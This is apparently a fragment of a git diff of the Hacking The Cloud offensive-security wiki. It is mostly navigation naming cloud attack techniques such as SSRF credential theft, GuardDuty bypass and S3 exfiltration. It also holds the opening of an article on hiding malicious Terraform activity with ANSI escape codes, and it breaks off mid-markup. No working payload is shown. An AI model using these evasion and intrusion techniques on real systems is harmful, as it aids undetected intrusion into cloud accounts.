</a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5 checked> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=true> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/terraform/terraform_ansi_escape_evasion.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=terraform-ansi-escape>Terraform ANSI Escape<a class=headerlink href=#terraform-ansi-escape title="Permanent link">&para;</a></h1> <p>Original Research: <a href=https://about.gitlab.com/blog/2022/06/01/terraform-as-part-of-software-supply-chain-part1-modules-and-providers/ >Joern Schneeweisz</a></p> <p>When performing a Terraform <a href=https://www.terraform.io/cli/commands/apply>apply</a> from a local workstation, Terraform will output a list of resources it has created, updated, or deleted. Because this is taking place in a terminal, we can potentially use <a href=https://en.wikipedia.org/wiki/ANSI_escape_code>ANSI escape codes</a> to alter this output. This would allow us to hide or obfuscate malicious activity, such as in a malicious Terraform module.</p> <p>Take for example the following Terraform code.</p> <div class=highlight><span class=filename>main.tf</span><pre><span></span><code><span class=kr>resource</span><span class=w> </span><span class=nc>&quot;null_resource&quot;</span><span class=w> </span><span class=nv>&quot;hypothetical_ec2_instance&quot;</span><span class=w> </span><span class=p>{</span>
 <span class=p>}</span>
 
 <span class=kr>resource</span><span class=w> </span><span class=nc>&quot;null_resource&quot;</span><span class=w> </span><span class=nv>&quot;blah&quot;</span><span class=w> </span><span class=p>{</span>
diff --git a/terraform/terraform_enterprise_metadata_service/index.html b/terraform/terraform_enterprise_metadata_service/index.html
index a4c4e5bf0..0f3573437 100644
--- a/terraform/terraform_enterprise_metadata_service/index.html
+++ b/terraform/terraform_enterprise_metadata_service/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Leverage a default configuration in Terraform Enterprise to steal credentials from the Metadata Service"><link href=https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/ rel=canonical><link href=../terraform_ansi_escape_evasion/ rel=prev><link rel=alternate type=application/rss+xml title="RSS feed" href=../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../feed_rss_updated.xml><link rel=icon href=../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Terraform Enterprise: Attack the Metadata Service - Hacking The Cloud</title><link rel=stylesheet href=../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../stylesheets/extra.css><script>__md_scope=new URL("../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Terraform Enterprise: Attack the Metadata Service - Hacking The Cloud"><meta property=og:description content="Leverage a default configuration in Terraform Enterprise to steal credentials from the Metadata Service"><meta property=og:image content=https://hackingthe.cloud/assets/images/social/terraform/terraform_enterprise_metadata_service.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Terraform Enterprise: Attack the Metadata Service - Hacking The Cloud"><meta property=twitter:description content="Leverage a default configuration in Terraform Enterprise to steal credentials from the Metadata Service"><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/terraform/terraform_enterprise_metadata_service.png> <link href="../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Leverage a default configuration in Terraform Enterprise to steal credentials from the Metadata Service"><link href=https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/ rel=canonical><link href=../terraform_ansi_escape_evasion/ rel=prev><link rel=alternate type=application/rss+xml title="RSS feed" href=../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../feed_rss_updated.xml><link rel=icon href=../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Terraform Enterprise: Attack the Metadata Service - Hacking The Cloud</title><link rel=stylesheet href=../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../stylesheets/extra.css><script>__md_scope=new URL("../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Terraform Enterprise: Attack the Metadata Service - Hacking The Cloud"><meta property=og:description content="Leverage a default configuration in Terraform Enterprise to steal credentials from the Metadata Service"><meta property=og:image content=https://hackingthe.cloud/assets/images/social/terraform/terraform_enterprise_metadata_service.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Terraform Enterprise: Attack the Metadata Service - Hacking The Cloud"><meta property=twitter:description content="Leverage a default configuration in Terraform Enterprise to steal credentials from the Metadata Service"><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/terraform/terraform_enterprise_metadata_service.png> <link href="../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#remote-code-execution class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: 